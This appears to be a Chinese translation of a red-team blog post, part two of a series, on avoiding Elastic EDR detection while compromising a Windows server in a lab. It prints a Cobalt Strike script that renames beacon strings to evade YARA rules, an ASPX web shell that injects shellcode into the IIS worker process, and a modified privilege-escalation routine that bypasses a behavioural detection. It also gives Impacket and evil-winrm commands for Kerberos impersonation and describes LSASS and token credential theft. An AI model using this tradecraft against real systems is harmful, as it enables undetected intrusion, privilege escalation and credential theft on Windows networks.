注意:这篇博客文章是系列增强你的隐秘能力的第二篇,请确保已阅读第一部分。
回顾
在一次任务中,我的队友和我通过上传一个 Webshell 攻破了一台 Windows 服务器,然后将我们的权限提升到 SYSTEM,并从 LSASS 中提取了存储的凭据。 在第一部分中,我在一个运行 Elastic EDR 代理的实验室中重演了这个场景,我们注意到有很多检测被触发。 在第二部分中,我将展示如何通过使用开源工具和自主开发来增强我们的隐秘能力。
Cobalt Strike 修改
为了规避 Elastic EDR 的 yara 规则,我参考了以下 Fortra 的博客文章。
当你了解 Yara 规则时,规避它们相对容易……Elastic EDR 的规则可以在这里找到。
我使用了xforcered/BokuLoader(十月及以后版本)来增强 Cobalt Strike beacon 的规避能力。此版本包含调用堆栈欺骗功能,可以基于调用堆栈分析绕过 Elastic EDR 规则。你可以在这里了解更多信息。
在 Cobalt Strike 中包含用户定义的反射加载器后,我对bokuloader.cna
做了以下修改以绕过 Elastic EDR 的 yara 规则:
sub boku_strrep {
local('$beacon_dll');
$beacon_dll = $1;
$beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "__BokuLo4d3r____");
$beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "13367321236742382543232341241261363163151d");
$beacon_dll = strrep($beacon_dll, "(admin)", "(2omin)");
$beacon_dll = strrep($beacon_dll, "beacon", "b4con5");
$beacon_dll = strrep($beacon_dll, "%s as %s\%s: %d", "%s -> %s\%s: %d");
$beacon_dll = strrep($beacon_dll, "%02d/%02d/%02d %02d:%02d:%02d", "%02d/%02d/%02d>%02d:%02d:%02d");
$beacon_dll = strrep($beacon_dll, "This program cannot be run in DOS mode", "13367321236742383543232341221261363163");
println("DEBUG - change DOS stub");
$beacon_dll = strrep($beacon_dll, "x4Dx5Ax41x52x55x48x89xE5", "x4Dx5Ax41x52x55x48x89xE5x90");
return $beacon_dll;
}
此时,Elastic EDR 不应将 Cobalt Strike 反射式 DLL 检测为Windows.Trojan.CobaltStrike
。
然而,如果检测到恶意行为,Elastic EDR 仍会发出警报:
从未授权内存访问 LSASS 进程 从未授权内存加载 DLL …
现在我们拥有了更隐蔽的 beacon,我们可以开始入侵 Windows 服务器。
Webshell
由于目标是获得对 Windows 机器的适当访问权限,我将尝试在不执行操作系统命令的情况下获取 Cobalt Strike beacon。
为此,我编写了一个 C# 网页,该网页将 Cobalt Strike beacon 注入当前的 IIS 进程w3wp.exe
。
<%@ Page Language="c#"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Threading.Tasks" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Linq" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
/*
Flags and functions import
...
*/
public string ServerSideFunction()
{
byte[] data = new byte[REPLACE_ME] { REPLACE_ME };
IntPtr pHandle = (IntPtr)(-1);
if (pHandle == IntPtr.Zero)
return "OpenProcess failed " + Marshal.GetLastWin32Error();
IntPtr addr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)data.Length, AllocationType.Commit, AllocationProtect.PAGE_READONLY);
if (addr == IntPtr.Zero)
return "VirtualAllocEx failed";
uint lpflOldProtect = 0;
bool res = false;
res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000004, out lpflOldProtect);
if (res == false)
return "VirtualProtectEx RW failed";
IntPtr sc = Marshal.AllocHGlobal(data.Length);
if (sc == IntPtr.Zero)
return "AllocHGlobal failed";
RtlZeroMemory(sc, data.Length);
UInt32 getsize = 0;
NTSTATUS ntstatus = NtWriteVirtualMemory(pHandle, addr, data, (uint)data.Length, ref getsize);
if (getsize == 0)
return "NtWriteVirtualMemory failed";
res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000020, out lpflOldProtect);
if (res == false)
return "VirtualProtectEx RX failed";
IntPtr Thread_id = IntPtr.Zero;
IntPtr tHandle = CreateRemoteThread(
pHandle,
IntPtr.Zero,
0,
(IntPtr)0xfff,
IntPtr.Zero,
(uint)CreationFlags.CREATE_SUSPENDED,
out Thread_id);
QueueUserAPC(addr, tHandle, 0);
ResumeThread(tHandle);
CloseHandle(pHandle);
CloseHandle(tHandle);
return "OK";
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>ASP.NET inline</title>
</head>
<body>
<% =ServerSideFunction() %>
</body>
</html>
其执行流程如下:
获取当前进程的句柄 在进程中分配可读写的内存 将信标写入该内存区域 将内存权限更改为可执行 通过 APC 调用信标
当页面被调用时,我们收到了我们的信标。
在这一步骤中,我的操作未被 Elastic EDR 检测到。
权限升级
现在我们已经拥有一个本地服务账户的信标,我们可能希望提升权限以转储一些凭据。
我知道有两种方法可以执行权限升级:
利用 SeImpersonateToken
权限与 Potato 系列漏洞进行利用利用 S4U2Self
Kerberos 代表具有本地管理员权限的域用户伪造服务票据
这两种方法都可以使用:
Potato 漏洞触发 SYSTEM 调用并模拟本地账户——这可能会被检测到(我最近注意到 Elastic EDR 针对此有检测规则)。此方法适用于未加入域和已加入域的 Windows 机器。 S4U2Self 方法非常隐蔽,因为它只使用 Kerberos,但不适用于未加入域的机器,并且我们可能需要启用 PSRemoting/WinRM,因为我们不想使用 psexec/smbexec/wmiexec/... 这些会引发安全警报。
实际上,当域控制器未强制执行 LDAP 签名(默认配置)时,存在一种通用的权限升级路径,但我将稍后为此撰写专门的博客文章。
权限升级 - SeImpersonatePrivilege
几个月前,发布了Prepouce/CoercedPotato。CoercedPotato 是一个 C++ 程序,类似其他 Potato 漏洞利用工具,它通过 RPC 接口生成一个命名管道以接收 SYSTEM 身份验证并模拟它。为了强制 SYSTEM 身份验证,CoercedPotato 使用了 MS-EFSR 和 MS-RPRN 函数。
由于我们不想在磁盘上放置和执行任何东西,我从源代码分叉并“转换”了 CoercedPotato 为一个反射 DLLsokaRepo/CoercedPotatoRDLL。你可以在之前的博文中了解更多信息。
当我测试反射 DLL 时,惊讶地发现 Elastic EDR 最近添加了一个以前一两个月内尚不存在的恶意行为检测规则… =)
我认为检测可能基于以下几点:
使用已知的“恶意”函数 CreateProcessAsUser
/CreateProcessWithTokenW
行为:一个作为本地服务运行的进程生成一个作为 SYSTEM 的进程
如果我们查看 IDA 中CreateProcessAsUser
的工作方式:
该函数只是将参数转发到KernelBase.dll
中的CreateProcessInternalW
。我们可以在 CoercedPotatoRDLL 代码中使用它:
typedef BOOL(WINAPI* fnCreateProcessInternalW)(
HANDLE,
LPCWSTR,
LPWSTR,
LPSECURITY_ATTRIBUTES,
LPSECURITY_ATTRIBUTES,
BOOL,
DWORD,
LPVOID,
LPCWSTR,
LPSTARTUPINFOW,
LPPROCESS_INFORMATION
);
fnCreateProcessInternalW CreateProcessInternalW;
CreateProcessInternalW = (fnCreateProcessInternalW)GetProcAddress(
GetModuleHandle(L"kernelbase.dll"),
"CreateProcessInternalW"
);
if (!CreateProcessInternalW(hSystemTokenDup,
g_pwszProcessName,
g_pwszCommandLine,
NULL,
NULL,
g_bInteractWithConsole,
dwCreationFlags,
lpEnvironment,
pwszCurrentDirectory,
&si,
&pi))
wprintf(L"CreateProcessInternalW failed, error = %dn", GetLastError());
else
wprintf(L"CreateProcessInternalW seems OK");
通过这些修改,Elastic EDR 不再对特权升级发出警报!
特权升级 - S4U2Self
另一种实现方式是滥用 Kerberos 本身。作为本地服务账户,当我们在另一台机器上使用 NTLM 或 Kerberos 进行身份验证时,使用的是机器账户WEB1$
。因此,可以使用tgtdeleg 技巧来代表机器账户请求委派 TGT。
一旦我们获得了它,我们就可以滥用 Kerberos S4U2Self 来请求服务票据,以冒充具有本地管理员权限的域用户。
不幸的是,我仅使用 Cobalt Strike 无法完成此步骤,因此我在我的 Linux 虚拟机上使用了 SOCKS 代理和 Impacket。
> echo -n 'ticket...' | base64 -d > web1.kirbi
> ticketConverter.py web1.kirbi web1.ccache
> export KRB5CCACHE=web1.ccache
> git clone https://github.com/ThePorgs/impacket/
# install it
# carreful with SPN name, try lower case and upper case for "HTTP"
# I skipped the SOCKS proxy part here
> getST.py -self -impersonate "sadmin" -altservice "HTTP/web1.crash.lab" -k -no-pass -dc-ip 10.100.10.5 'crash.lab/web1$'
# use this to debug
> export KRB5_TRACE=/dev/stdout
> export KRB5CCNAME=sadmin@[email protected]
# update /etc/krb5.conf if GSS error
> evil-winrm.rb -i web1.crash.lab -r crash.lab
并以本地管理员身份弹出 beacon。
LSASS 凭证转储
这是一个棘手的部分……似乎当启用Credentials hardening
时,无法在 LSASS.exe 上打开句柄。
当我们尝试使用内置的 Mimikatz 命令提取凭证时,无法访问该进程。
如果我们尝试使用fortra/nanodump,我们也会遇到相同的访问问题。
如果我们关闭Credentials hardening
,我们就可以成功地转储 LSASS 进程而 Elastic EDR 不会发出任何警报。
替代 LSASS 转储的方法
或者,我们可以在 LSA 内枚举 TGT,并寻找任何有趣的用户(sadmin
在我的实验室是一个不错的候选者)。
为了执行下面的 Kerberos 交互,我使用了RalfHacker/Kerbeus-BOF,但也可以使用wavvs/nanorobeus(Kerbeus-BOF 实际上基于 nanorobeus)。
在这里,我们转储所有属于sadmin
用户的 TGT。
如果我们不再拥有任何有效的 TGT,我们可以查找在我们的目标用户下运行的进程。
然后窃取其中一个进程的令牌。
并使用它来请求 TGT
从这里,我们可以代表sadmin
用户行动,并尝试在网络中横向移动。
结论
在第二部分中,我们看到了如何通过使用像 BokuLoader 这样的出色开源工具来提高我们的隐蔽性,并防止 Elastic EDR 发现我们。
为了避免在内存中执行 .NET 程序集,我们使用了 C++ 工具 CoercedPotato 并将其修改为 Reflective DLL,以便能够在 Cobalt Strike 中将其加载到内存中。
对于凭证转储,我们可以使用 Fortra 的 nanodump 来转储 LSASS 进程以避免检测。如果我们想避免触碰 LSASS,我们展示了如何通过窃取 Windows 令牌来提取或生成 Kerberos 票证。
Resources
Hyperlink | Info |
---|---|
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part2.html | ref |
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...